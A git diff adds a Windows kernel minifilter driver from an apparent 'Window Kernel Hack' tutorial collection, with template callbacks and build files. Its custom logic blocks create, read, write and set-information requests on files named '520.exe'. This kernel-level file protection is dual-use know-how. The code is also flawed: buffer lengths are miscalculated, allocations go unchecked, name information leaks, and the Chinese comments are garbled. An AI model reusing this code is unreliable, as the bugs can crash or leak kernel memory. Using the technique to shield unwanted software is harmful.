IRP_MJ_INTERNAL_DEVICE_CONTROL, + 0, + Minifilter_FileMonitor_TestPreOperation, + Minifilter_FileMonitor_TestPostOperation }, + + { IRP_MJ_SHUTDOWN, + 0, + Minifilter_FileMonitor_TestPreOperationNoPostOperation, + NULL }, //post operations not supported + + { IRP_MJ_LOCK_CONTROL, + 0, + Minifilter_FileMonitor_TestPreOperation, + Minifilter_FileMonitor_TestPostOperation }, + + { IRP_MJ_CLEANUP, + 0, + Minifilter_FileMonitor_TestPreOperation, + Minifilter_FileMonitor_TestPostOperation }, + + { IRP_MJ_CREATE_MAILSLOT, + 0, + Minifilter_FileMonitor_TestPreOperation, + Minifilter_FileMonitor_TestPostOperation }, + + { IRP_MJ_QUERY_SECURITY, + 0, + Minifilter_FileMonitor_TestPreOperation, + Minifilter_FileMonitor_TestPostOperation }, + + { IRP_MJ_SET_SECURITY, + 0, + Minifilter_FileMonitor_TestPreOperation, + Minifilter_FileMonitor_TestPostOperation }, + + { IRP_MJ_QUERY_QUOTA, + 0, + Minifilter_FileMonitor_TestPreOperation, + Minifilter_FileMonitor_TestPostOperation }, + + { IRP_MJ_SET_QUOTA, + 0, + Minifilter_FileMonitor_TestPreOperation, + Minifilter_FileMonitor_TestPostOperation }, + + { IRP_MJ_PNP, + 0, + Minifilter_FileMonitor_TestPreOperation, + Minifilter_FileMonitor_TestPostOperation }, + + { IRP_MJ_ACQUIRE_FOR_SECTION_SYNCHRONIZATION, + 0, + Minifilter_FileMonitor_TestPreOperation, + Minifilter_FileMonitor_TestPostOperation }, + + { IRP_MJ_RELEASE_FOR_SECTION_SYNCHRONIZATION, + 0, + Minifilter_FileMonitor_TestPreOperation, + Minifilter_FileMonitor_TestPostOperation }, + + { IRP_MJ_ACQUIRE_FOR_MOD_WRITE, + 0, + Minifilter_FileMonitor_TestPreOperation, + Minifilter_FileMonitor_TestPostOperation }, + + { IRP_MJ_RELEASE_FOR_MOD_WRITE, + 0, + Minifilter_FileMonitor_TestPreOperation, + Minifilter_FileMonitor_TestPostOperation }, + + { IRP_MJ_ACQUIRE_FOR_CC_FLUSH, + 0, + Minifilter_FileMonitor_TestPreOperation, + Minifilter_FileMonitor_TestPostOperation }, + + { IRP_MJ_RELEASE_FOR_CC_FLUSH, + 0, + Minifilter_FileMonitor_TestPreOperation, + Minifilter_FileMonitor_TestPostOperation }, + + { IRP_MJ_FAST_IO_CHECK_IF_POSSIBLE, + 0, + Minifilter_FileMonitor_TestPreOperation, + Minifilter_FileMonitor_TestPostOperation }, + + { IRP_MJ_NETWORK_QUERY_OPEN, + 0, + Minifilter_FileMonitor_TestPreOperation, + Minifilter_FileMonitor_TestPostOperation }, + + { IRP_MJ_MDL_READ, + 0, + Minifilter_FileMonitor_TestPreOperation, + Minifilter_FileMonitor_TestPostOperation }, + + { IRP_MJ_MDL_READ_COMPLETE, + 0, + Minifilter_FileMonitor_TestPreOperation, + Minifilter_FileMonitor_TestPostOperation }, + + { IRP_MJ_PREPARE_MDL_WRITE, + 0, + Minifilter_FileMonitor_TestPreOperation, + Minifilter_FileMonitor_TestPostOperation }, + + { IRP_MJ_MDL_WRITE_COMPLETE, + 0, + Minifilter_FileMonitor_TestPreOperation, + Minifilter_FileMonitor_TestPostOperation }, + + { IRP_MJ_VOLUME_MOUNT, + 0, + Minifilter_FileMonitor_TestPreOperation, + Minifilter_FileMonitor_TestPostOperation }, + + { IRP_MJ_VOLUME_DISMOUNT, + 0, + Minifilter_FileMonitor_TestPreOperation, + Minifilter_FileMonitor_TestPostOperation }, + +#endif // TODO + + { IRP_MJ_OPERATION_END } +}; + +// +// This defines what we want to filter with FltMgr +// + +CONST FLT_REGISTRATION FilterRegistration = { + + sizeof( FLT_REGISTRATION ), // Size + FLT_REGISTRATION_VERSION, // Version + 0, // Flags + + NULL, // Context + Callbacks, // Operation callbacks + + Minifilter_FileMonitor_TestUnload, // MiniFilterUnload + + Minifilter_FileMonitor_TestInstanceSetup, // InstanceSetup + Minifilter_FileMonitor_TestInstanceQueryTeardown, // InstanceQueryTeardown + Minifilter_FileMonitor_TestInstanceTeardownStart, // InstanceTeardownStart + Minifilter_FileMonitor_TestInstanceTeardownComplete, // InstanceTeardownComplete + + NULL, // GenerateFileName + NULL, // GenerateDestinationFileName + NULL // NormalizeNameComponent + +}; + + + +NTSTATUS +Minifilter_FileMonitor_TestInstanceSetup ( + _In_ PCFLT_RELATED_OBJECTS FltObjects, + _In_ FLT_INSTANCE_SETUP_FLAGS Flags, + _In_ DEVICE_TYPE VolumeDeviceType, + _In_ FLT_FILESYSTEM_TYPE VolumeFilesystemType + ) +/*++ + +Routine Description: + + This routine is called whenever a new instance is created on a volume. This + gives us a chance to decide if we need to attach to this volume or not. + + If this routine is not defined in the registration structure, automatic + instances are always created. + +Arguments: + + FltObjects - Pointer to the FLT_RELATED_OBJECTS data structure containing + opaque handles to this filter, instance and its associated volume. + + Flags - Flags describing the reason for this attach request. + +Return Value: + + STATUS_SUCCESS - attach + STATUS_FLT_DO_NOT_ATTACH - do not attach + +--*/ +{ + UNREFERENCED_PARAMETER( FltObjects ); + UNREFERENCED_PARAMETER( Flags ); + UNREFERENCED_PARAMETER( VolumeDeviceType ); + UNREFERENCED_PARAMETER( VolumeFilesystemType ); + + PAGED_CODE(); + + PT_DBG_PRINT( PTDBG_TRACE_ROUTINES, + ("Minifilter_FileMonitor_Test!Minifilter_FileMonitor_TestInstanceSetup: Entered\n") ); + + return STATUS_SUCCESS; +} + + +NTSTATUS +Minifilter_FileMonitor_TestInstanceQueryTeardown ( + _In_ PCFLT_RELATED_OBJECTS FltObjects, + _In_ FLT_INSTANCE_QUERY_TEARDOWN_FLAGS Flags + ) +/*++ + +Routine Description: + + This is called when an instance is being manually deleted by a + call to FltDetachVolume or FilterDetach thereby giving us a + chance to fail that detach request. + + If this routine is not defined in the registration structure, explicit + detach requests via FltDetachVolume or FilterDetach will always be + failed. + +Arguments: + + FltObjects - Pointer to the FLT_RELATED_OBJECTS data structure containing + opaque handles to this filter, instance and its associated volume. + + Flags - Indicating where this detach request came from. + +Return Value: + + Returns the status of this operation. + +--*/ +{ + UNREFERENCED_PARAMETER( FltObjects ); + UNREFERENCED_PARAMETER( Flags ); + + PAGED_CODE(); + + PT_DBG_PRINT( PTDBG_TRACE_ROUTINES, + ("Minifilter_FileMonitor_Test!Minifilter_FileMonitor_TestInstanceQueryTeardown: Entered\n") ); + + return STATUS_SUCCESS; +} + + +VOID +Minifilter_FileMonitor_TestInstanceTeardownStart ( + _In_ PCFLT_RELATED_OBJECTS FltObjects, + _In_ FLT_INSTANCE_TEARDOWN_FLAGS Flags + ) +/*++ + +Routine Description: + + This routine is called at the start of instance teardown. + +Arguments: + + FltObjects - Pointer to the FLT_RELATED_OBJECTS data structure containing + opaque handles to this filter, instance and its associated volume. + + Flags - Reason why this instance is being deleted. + +Return Value: + + None. + +--*/ +{ + UNREFERENCED_PARAMETER( FltObjects ); + UNREFERENCED_PARAMETER( Flags ); + + PAGED_CODE(); + + PT_DBG_PRINT( PTDBG_TRACE_ROUTINES, + ("Minifilter_FileMonitor_Test!Minifilter_FileMonitor_TestInstanceTeardownStart: Entered\n") ); +} + + +VOID +Minifilter_FileMonitor_TestInstanceTeardownComplete ( + _In_ PCFLT_RELATED_OBJECTS FltObjects, + _In_ FLT_INSTANCE_TEARDOWN_FLAGS Flags + ) +/*++ + +Routine Description: + + This routine is called at the end of instance teardown. + +Arguments: + + FltObjects - Pointer to the FLT_RELATED_OBJECTS data structure containing + opaque handles to this filter, instance and its associated volume. + + Flags - Reason why this instance is being deleted. + +Return Value: + + None. + +--*/ +{ + UNREFERENCED_PARAMETER( FltObjects ); + UNREFERENCED_PARAMETER( Flags ); + + PAGED_CODE(); + + PT_DBG_PRINT( PTDBG_TRACE_ROUTINES, + ("Minifilter_FileMonitor_Test!Minifilter_FileMonitor_TestInstanceTeardownComplete: Entered\n") ); +} + + +/************************************************************************* + MiniFilter initialization and unload routines. +*************************************************************************/ + +NTSTATUS +DriverEntry ( + _In_ PDRIVER_OBJECT DriverObject, + _In_ PUNICODE_STRING RegistryPath + ) +/*++ + +Routine Description: + + This is the initialization routine for this miniFilter driver. This + registers with FltMgr and initializes all global data structures. + +Arguments: + + DriverObject - Pointer to driver object created by the system to + represent this driver. + + RegistryPath - Unicode string identifying where the parameters for this + driver are located in the registry. + +Return Value: + + Routine can return non success error codes. + +--*/ +{ + NTSTATUS status; + + UNREFERENCED_PARAMETER( RegistryPath ); + + PT_DBG_PRINT( PTDBG_TRACE_ROUTINES, + ("Minifilter_FileMonitor_Test!DriverEntry: Entered\n") ); + + // + // Register with FltMgr to tell it our callback routines + // + + status = FltRegisterFilter( DriverObject, + &FilterRegistration, + &gFilterHandle ); + + FLT_ASSERT( NT_SUCCESS( status ) ); + + if (NT_SUCCESS( status )) { + + // + // Start filtering i/o + // + + status = FltStartFiltering( gFilterHandle ); + + if (!NT_SUCCESS( status )) { + + FltUnregisterFilter( gFilterHandle ); + } + } + + return status; +} + +NTSTATUS +Minifilter_FileMonitor_TestUnload ( + _In_ FLT_FILTER_UNLOAD_FLAGS Flags + ) +/*++ + +Routine Description: + + This is the unload routine for this miniFilter driver. This is called + when the minifilter is about to be unloaded. We can fail this unload + request if this is not a mandatory unload indicated by the Flags + parameter. + +Arguments: + + Flags - Indicating if this is a mandatory unload. + +Return Value: + + Returns STATUS_SUCCESS. + +--*/ +{ + UNREFERENCED_PARAMETER( Flags ); + + PAGED_CODE(); + + PT_DBG_PRINT( PTDBG_TRACE_ROUTINES, + ("Minifilter_FileMonitor_Test!Minifilter_FileMonitor_TestUnload: Entered\n") ); + + FltUnregisterFilter( gFilterHandle ); + + return STATUS_SUCCESS; +} + + +// жǷDZļ +BOOLEAN IsProtectionFile(PFLT_FILE_NAME_INFORMATION lpNameInfo) +{ + BOOLEAN bProtect = FALSE; + PWCHAR lpszProtectionFileName, lpszFileName; + // ڴ + lpszProtectionFileName = (PWCHAR)ExAllocatePool(NonPagedPool, 256); + lpszFileName = (PWCHAR)ExAllocatePool(NonPagedPool, 512); + // ʼڴ + RtlZeroMemory(lpszProtectionFileName, 256); + RtlZeroMemory(lpszFileName, 512); + // + RtlCopyMemory(lpszFileName, lpNameInfo->Name.Buffer, (sizeof(WCHAR) + lpNameInfo->Name.Length)); + RtlCopyMemory(lpszProtectionFileName, L"520.exe", (sizeof(WCHAR) + wcslen(L"520.exe"))); + // ж + if (NULL != wcsstr(lpszFileName, lpszProtectionFileName)) + { + bProtect = TRUE; + } + // ͷڴ + ExFreePool(lpszProtectionFileName); + ExFreePool(lpszFileName); + + return bProtect; +} + + +/************************************************************************* + MiniFilter callback routines. +*************************************************************************/ +FLT_PREOP_CALLBACK_STATUS +Minifilter_FileMonitor_TestPreOperation ( + _Inout_ PFLT_CALLBACK_DATA Data, + _In_ PCFLT_RELATED_OBJECTS FltObjects, + _Flt_CompletionContext_Outptr_ PVOID *CompletionContext + ) +/*++ + +Routine Description: + + This routine is a pre-operation dispatch routine for this miniFilter. + + This is non-pageable because it could be called on the paging path + +Arguments: + + Data - Pointer to the filter callbackData that is passed to us. + + FltObjects - Pointer to the FLT_RELATED_OBJECTS data structure containing + opaque handles to this filter, instance, its associated volume and + file object. + + CompletionContext - The context for the completion routine for this + operation. + +Return Value: + + The return value is the status of the operation. + +--*/ +{ + NTSTATUS status; + + UNREFERENCED_PARAMETER( FltObjects ); + UNREFERENCED_PARAMETER( CompletionContext ); + + PT_DBG_PRINT( PTDBG_TRACE_ROUTINES, + ("Minifilter_FileMonitor_Test!Minifilter_FileMonitor_TestPreOperation: Entered\n") ); + + /* + ҪмصĻͨPreXXXﴦҪмӵĻͨPostXXX + (ȻPreXXXﴦҲ). + ԼļĶдɾԵIJ,ҽָֹļ520.exe + κβ + ԭ:ڴIJȡļ,ӡ,DZļ,ͷز + */ + // ȡļ· + UCHAR MajorFunction = Data->Iopb->MajorFunction; + PFLT_FILE_NAME_INFORMATION lpNameInfo = NULL; + status = FltGetFileNameInformation(Data, FLT_FILE_NAME_NORMALIZED | FLT_FILE_NAME_QUERY_DEFAULT, &lpNameInfo); + if (NT_SUCCESS(status)) + { + status = FltParseFileNameInformation(lpNameInfo); + if (NT_SUCCESS(status)) + { + // CREATE + if (IRP_MJ_CREATE == MajorFunction) + { + if (IsProtectionFile(lpNameInfo)) + { + KdPrint(("[IRP_MJ_CREATE]%wZ", &lpNameInfo->Name)); + return FLT_PREOP_COMPLETE; +// return FLT_PREOP_DISALLOW_FASTIO; + } + } + // ȡ + else if (IRP_MJ_READ == MajorFunction) + { + if (IsProtectionFile(lpNameInfo)) + { + KdPrint(("[IRP_MJ_READ]%wZ", &lpNameInfo->Name)); + return FLT_PREOP_COMPLETE; +// return FLT_PREOP_DISALLOW_FASTIO; + } + } + // ļд + else if (IRP_MJ_WRITE == MajorFunction) + { + if (IsProtectionFile(lpNameInfo)) + { + KdPrint(("[IRP_MJ_WRITE]%wZ", &lpNameInfo->Name)); + return FLT_PREOP_COMPLETE; +// return FLT_PREOP_DISALLOW_FASTIO; + } + } + // ޸ļϢ + else if (IRP_MJ_SET_INFORMATION == MajorFunction) + { + if (IsProtectionFile(lpNameInfo)) + { + KdPrint(("[IRP_MJ_SET_INFORMATION]%wZ", &lpNameInfo->Name)); + return FLT_PREOP_COMPLETE; +// return FLT_PREOP_DISALLOW_FASTIO; + } + } + } + } + +/* + // + // See if this is an operation we would like the operation status + // for. If so request it. + // + // NOTE: most filters do NOT need to do this. You only need to make + // this call if, for example, you need to know if the oplock was + // actually granted. + // + + if (Minifilter_FileMonitor_TestDoRequestOperationStatus( Data )) { + + status = FltRequestOperationStatusCallback( Data, + Minifilter_FileMonitor_TestOperationStatusCallback, + (PVOID)(++OperationStatusCtx) ); + if (!NT_SUCCESS(status)) { + + PT_DBG_PRINT( PTDBG_TRACE_OPERATION_STATUS, + ("Minifilter_FileMonitor_Test!Minifilter_FileMonitor_TestPreOperation: FltRequestOperationStatusCallback Failed, status=%08x\n", + status) ); + } + } + + // This template code does not do anything with the callbackData, but + // rather returns FLT_PREOP_SUCCESS_WITH_CALLBACK. + // This passes the request down to the next miniFilter in the chain. +*/ + return FLT_PREOP_SUCCESS_WITH_CALLBACK; + +} + + + +VOID +Minifilter_FileMonitor_TestOperationStatusCallback ( + _In_ PCFLT_RELATED_OBJECTS FltObjects, + _In_ PFLT_IO_PARAMETER_BLOCK ParameterSnapshot, + _In_ NTSTATUS OperationStatus, + _In_ PVOID RequesterContext + ) +/*++ + +Routine Description: + + This routine is called when the given operation returns from the call + to IoCallDriver. This is useful for operations where STATUS_PENDING + means the operation was successfully queued. This is useful for OpLocks + and directory change notification operations. + + This callback is called in the context of the originating thread and will + never be called at DPC level. The file object has been correctly + referenced so that you can access it. It will be automatically + dereferenced upon return. + + This is non-pageable because it could be called on the paging path + +Arguments: + + FltObjects - Pointer to the FLT_RELATED_OBJECTS data structure containing + opaque handles to this filter, instance, its associated volume and + file object. + + RequesterContext - The context for the completion routine for this + operation. + + OperationStatus - + +Return Value: + + The return value is the status of the operation. + +--*/ +{ + UNREFERENCED_PARAMETER( FltObjects ); + + PT_DBG_PRINT( PTDBG_TRACE_ROUTINES, + ("Minifilter_FileMonitor_Test!Minifilter_FileMonitor_TestOperationStatusCallback: Entered\n") ); + + PT_DBG_PRINT( PTDBG_TRACE_OPERATION_STATUS, + ("Minifilter_FileMonitor_Test!Minifilter_FileMonitor_TestOperationStatusCallback: Status=%08x ctx=%p IrpMj=%02x.%02x \"%s\"\n", + OperationStatus, + RequesterContext, + ParameterSnapshot->MajorFunction, + ParameterSnapshot->MinorFunction, + FltGetIrpName(ParameterSnapshot->MajorFunction)) ); +} + + +FLT_POSTOP_CALLBACK_STATUS +Minifilter_FileMonitor_TestPostOperation ( + _Inout_ PFLT_CALLBACK_DATA Data, + _In_ PCFLT_RELATED_OBJECTS FltObjects, + _In_opt_ PVOID CompletionContext, + _In_ FLT_POST_OPERATION_FLAGS Flags + ) +/*++ + +Routine Description: + + This routine is the post-operation completion routine for this + miniFilter. + + This is non-pageable because it may be called at DPC level. + +Arguments: + + Data - Pointer to the filter callbackData that is passed to us. + + FltObjects - Pointer to the FLT_RELATED_OBJECTS data structure containing + opaque handles to this filter, instance, its associated volume and + file object. + + CompletionContext - The completion context set in the pre-operation routine. + + Flags - Denotes whether the completion is successful or is being drained. + +Return Value: + + The return value is the status of the operation. + +--*/ +{ + UNREFERENCED_PARAMETER( Data ); + UNREFERENCED_PARAMETER( FltObjects ); + UNREFERENCED_PARAMETER( CompletionContext ); + UNREFERENCED_PARAMETER( Flags ); + + PT_DBG_PRINT( PTDBG_TRACE_ROUTINES, + ("Minifilter_FileMonitor_Test!Minifilter_FileMonitor_TestPostOperation: Entered\n") ); + + return FLT_POSTOP_FINISHED_PROCESSING; +} + + +FLT_PREOP_CALLBACK_STATUS +Minifilter_FileMonitor_TestPreOperationNoPostOperation ( + _Inout_ PFLT_CALLBACK_DATA Data, + _In_ PCFLT_RELATED_OBJECTS FltObjects, + _Flt_CompletionContext_Outptr_ PVOID *CompletionContext + ) +/*++ + +Routine Description: + + This routine is a pre-operation dispatch routine for this miniFilter. + + This is non-pageable because it could be called on the paging path + +Arguments: + + Data - Pointer to the filter callbackData that is passed to us. + + FltObjects - Pointer to the FLT_RELATED_OBJECTS data structure containing + opaque handles to this filter, instance, its associated volume and + file object. + + CompletionContext - The context for the completion routine for this + operation. + +Return Value: + + The return value is the status of the operation. + +--*/ +{ + UNREFERENCED_PARAMETER( Data ); + UNREFERENCED_PARAMETER( FltObjects ); + UNREFERENCED_PARAMETER( CompletionContext ); + + PT_DBG_PRINT( PTDBG_TRACE_ROUTINES, + ("Minifilter_FileMonitor_Test!Minifilter_FileMonitor_TestPreOperationNoPostOperation: Entered\n") ); + + // This template code does not do anything with the callbackData, but + // rather returns FLT_PREOP_SUCCESS_NO_CALLBACK. + // This passes the request down to the next miniFilter in the chain. + + return FLT_PREOP_SUCCESS_NO_CALLBACK; +} + + +BOOLEAN +Minifilter_FileMonitor_TestDoRequestOperationStatus( + _In_ PFLT_CALLBACK_DATA Data + ) +/*++ + +Routine Description: + + This identifies those operations we want the operation status for. These + are typically operations that return STATUS_PENDING as a normal completion + status. + +Arguments: + +Return Value: + + TRUE - If we want the operation status + FALSE - If we don't + +--*/ +{ + PFLT_IO_PARAMETER_BLOCK iopb = Data->Iopb; + + // + // return boolean state based on which operations we are interested in + // + + return (BOOLEAN) + + // + // Check for oplock operations + // + + (((iopb->MajorFunction == IRP_MJ_FILE_SYSTEM_CONTROL) && + ((iopb->Parameters.FileSystemControl.Common.FsControlCode == FSCTL_REQUEST_FILTER_OPLOCK) || + (iopb->Parameters.FileSystemControl.Common.FsControlCode == FSCTL_REQUEST_BATCH_OPLOCK) || + (iopb->Parameters.FileSystemControl.Common.FsControlCode == FSCTL_REQUEST_OPLOCK_LEVEL_1) || + (iopb->Parameters.FileSystemControl.Common.FsControlCode == FSCTL_REQUEST_OPLOCK_LEVEL_2))) + + || + + // + // Check for directy change notification + // + + ((iopb->MajorFunction == IRP_MJ_DIRECTORY_CONTROL) && + (iopb->MinorFunction == IRP_MN_NOTIFY_CHANGE_DIRECTORY)) + ); +} diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/Minifilter\346\226\207\344\273\266\347\233\221\346\216\247/Minifilter_FileMonitor_Test/Minifilter_FileMonitor_Test/Minifilter_FileMonitor_Test.inf" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/Minifilter\346\226\207\344\273\266\347\233\221\346\216\247/Minifilter_FileMonitor_Test/Minifilter_FileMonitor_Test/Minifilter_FileMonitor_Test.inf" new file mode 100644 index 0000000..04ff15d --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/Minifilter\346\226\207\344\273\266\347\233\221\346\216\247/Minifilter_FileMonitor_Test/Minifilter_FileMonitor_Test/Minifilter_FileMonitor_Test.inf" @@ -0,0 +1,100 @@ +;;; +;;; Minifilter_FileMonitor_Test +;;; + +[Version] +Signature = "$Windows NT$" +; TODO - Change the Class and ClassGuid to match the Load Order Group value, see http://msdn.microsoft.com/en-us/windows/hardware/gg462963 +; Class = "ActivityMonitor" ;This is determined by the work this filter driver does +; ClassGuid = {b86dff51-a31e-4bac-b3cf-e8cfe75c9fc2} ;This value is determined by the Load Order Group value +Class = "_TODO_Change_Class_appropriately_" +ClassGuid = {_TODO_Change_ClassGuid_appropriately_} +Provider = %ManufacturerName% +DriverVer = +CatalogFile = Minifilter_FileMonitor_Test.cat + +[DestinationDirs] +DefaultDestDir = 12 +MiniFilter.DriverFiles = 12 ;%windir%\system32\drivers + +;; +;; Default install sections +;; + +[DefaultInstall] +OptionDesc = %ServiceDescription% +CopyFiles = MiniFilter.DriverFiles + +[DefaultInstall.Services] +AddService = %ServiceName%,,MiniFilter.Service + +;; +;; Default uninstall sections +;; + +[DefaultUninstall] +DelFiles = MiniFilter.DriverFiles + +[DefaultUninstall.Services] +DelService = %ServiceName%,0x200 ;Ensure service is stopped before deleting + +; +; Services Section +; + +[MiniFilter.Service] +DisplayName = %ServiceName% +Description = %ServiceDescription% +ServiceBinary = %12%\%DriverName%.sys ;%windir%\system32\drivers\ +Dependencies = "FltMgr" +ServiceType = 2 ;SERVICE_FILE_SYSTEM_DRIVER +StartType = 3 ;SERVICE_DEMAND_START +ErrorControl = 1 ;SERVICE_ERROR_NORMAL +; TODO - Change the Load Order Group value, see http://connect.microsoft.com/site221/content/content.aspx?ContentID=2512 +; LoadOrderGroup = "FSFilter Activity Monitor" +LoadOrderGroup = "_TODO_Change_LoadOrderGroup_appropriately_" +AddReg = MiniFilter.AddRegistry + +; +; Registry Modifications +; + +[MiniFilter.AddRegistry] +HKR,,"DebugFlags",0x00010001 ,0x0 +HKR,,"SupportedFeatures",0x00010001,0x3 +HKR,"Instances","DefaultInstance",0x00000000,%DefaultInstance% +HKR,"Instances\"%Instance1.Name%,"Altitude",0x00000000,%Instance1.Altitude% +HKR,"Instances\"%Instance1.Name%,"Flags",0x00010001,%Instance1.Flags% + +; +; Copy Files +; + +[MiniFilter.DriverFiles] +%DriverName%.sys + +[SourceDisksFiles] +Minifilter_FileMonitor_Test.sys = 1,, + +[SourceDisksNames] +1 = %DiskId1%,,, + +;; +;; String Section +;; + +[Strings] +; TODO - Add your manufacturer +ManufacturerName = "Template" +ServiceDescription = "Minifilter_FileMonitor_Test Mini-Filter Driver" +ServiceName = "Minifilter_FileMonitor_Test" +DriverName = "Minifilter_FileMonitor_Test" +DiskId1 = "Minifilter_FileMonitor_Test Device Installation Disk" + +;Instances specific information. +DefaultInstance = "Minifilter_FileMonitor_Test Instance" +Instance1.Name = "Minifilter_FileMonitor_Test Instance" +; TODO - Change the altitude value, see http://connect.microsoft.com/site221/content/content.aspx?ContentID=2512 +Instance1.Altitude = "370030" +Instance.Altitude = "_TODO_Change_Altitude_appropriately_" +Instance1.Flags = 0x0 ; Allow all attachments diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/Minifilter\346\226\207\344\273\266\347\233\221\346\216\247/Minifilter_FileMonitor_Test/Minifilter_FileMonitor_Test/Minifilter_FileMonitor_Test.rc" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/Minifilter\346\226\207\344\273\266\347\233\221\346\216\247/Minifilter_FileMonitor_Test/Minifilter_FileMonitor_Test/Minifilter_FileMonitor_Test.rc" new file mode 100644 index 0000000..2440159 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/Minifilter\346\226\207\344\273\266\347\233\221\346\216\247/Minifilter_FileMonitor_Test/Minifilter_FileMonitor_Test/Minifilter_FileMonitor_Test.rc" @@ -0,0 +1,10 @@ +#include + +#include + +#define VER_FILETYPE VFT_DRV +#define VER_FILESUBTYPE VFT2_DRV_SYSTEM +#define VER_FILEDESCRIPTION_STR "Minifilter_FileMonitor_Test Filter Driver" +#define VER_INTERNALNAME_STR "Minifilter_FileMonitor_Test.sys" + +#include "common.ver" diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/Minifilter\346\226\207\344\273\266\347\233\221\346\216\247/Minifilter_FileMonitor_Test/Minifilter_FileMonitor_Test/Minifilter_FileMonitor_Test.vcxproj" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/Minifilter\346\226\207\344\273\266\347\233\221\346\216\247/Minifilter_FileMonitor_Test/Minifilter_FileMonitor_Test/Minifilter_FileMonitor_Test.vcxproj" new file mode 100644 index 0000000..a28b93f --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/Minifilter\346\226\207\344\273\266\347\233\221\346\216\247/Minifilter_FileMonitor_Test/Minifilter_FileMonitor_Test/Minifilter_FileMonitor_Test.vcxproj" @@ -0,0 +1,263 @@ + + + + + Win8.1 Debug + Win32 + + + Win8.1 Release + Win32 + + + Win8 Debug + Win32 + + + Win8 Release + Win32 + + + Win7 Debug + Win32 + + + Win7 Release + Win32 + + + Win8.1 Debug + x64 + + + Win8.1 Release + x64 + + + Win8 Debug + x64 + + + Win8 Release + x64 + + + Win7 Debug + x64 + + + Win7 Release + x64 + + + + + + + + + {957FF6D1-49CB-43A6-8D21-5E8170AA5266} + {f2f62967-0815-4fd7-9b86-6eedcac766eb} + v4.5 + 11.0 + Win8.1 Debug + Win32 + Minifilter_FileMonitor_Test + + + + WindowsV6.3 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + WindowsV6.3 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + WindowsV6.3 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + WindowsV6.3 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + + + + + + + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + + $(DDK_LIB_PATH)\fltmgr.lib;%(AdditionalDependencies) + + + + + $(DDK_LIB_PATH)\fltmgr.lib;%(AdditionalDependencies) + + + + + $(DDK_LIB_PATH)\fltmgr.lib;%(AdditionalDependencies) + + + + + $(DDK_LIB_PATH)\fltmgr.lib;%(AdditionalDependencies) + + + + + $(DDK_LIB_PATH)\fltmgr.lib;%(AdditionalDependencies) + + + + + $(DDK_LIB_PATH)\fltmgr.lib;%(AdditionalDependencies) + + + + + $(DDK_LIB_PATH)\fltmgr.lib;%(AdditionalDependencies) + + + + + $(DDK_LIB_PATH)\fltmgr.lib;%(AdditionalDependencies) + + + + + $(DDK_LIB_PATH)\fltmgr.lib;%(AdditionalDependencies) + + + + + $(DDK_LIB_PATH)\fltmgr.lib;%(AdditionalDependencies) + + + + + $(DDK_LIB_PATH)\fltmgr.lib;%(AdditionalDependencies) + + + + + $(DDK_LIB_PATH)\fltmgr.lib;%(AdditionalDependencies) + + + + + + + + + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/Minifilter\346\226\207\344\273\266\347\233\221\346\216\247/Minifilter_FileMonitor_Test/Minifilter_FileMonitor_Test/Minifilter_FileMonitor_Test.vcxproj.filters" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/Minifilter\346\226\207\344\273\266\347\233\221\346\216\247/Minifilter_FileMonitor_Test/Minifilter_FileMonitor_Test/Minifilter_FileMonitor_Test.vcxproj.filters" new file mode 100644 index 0000000..a36dc01 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/Minifilter\346\226\207\344\273\266\347\233\221\346\216\247/Minifilter_FileMonitor_Test/Minifilter_FileMonitor_Test/Minifilter_FileMonitor_Test.vcxproj.filters" @@ -0,0 +1,36 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + {8E41214B-6785-4CFE-B992-037D68949A14} + inf;inv;inx;mof;mc; + + + + + Driver Files + + + + + Source Files + + + + + Resource Files + + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/Minifilter\346\226\207\344\273\266\347\233\221\346\216\247/Minifilter_FileMonitor_Test/Win7Debug/Minifilter_FileMonitor_Test.inf" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel 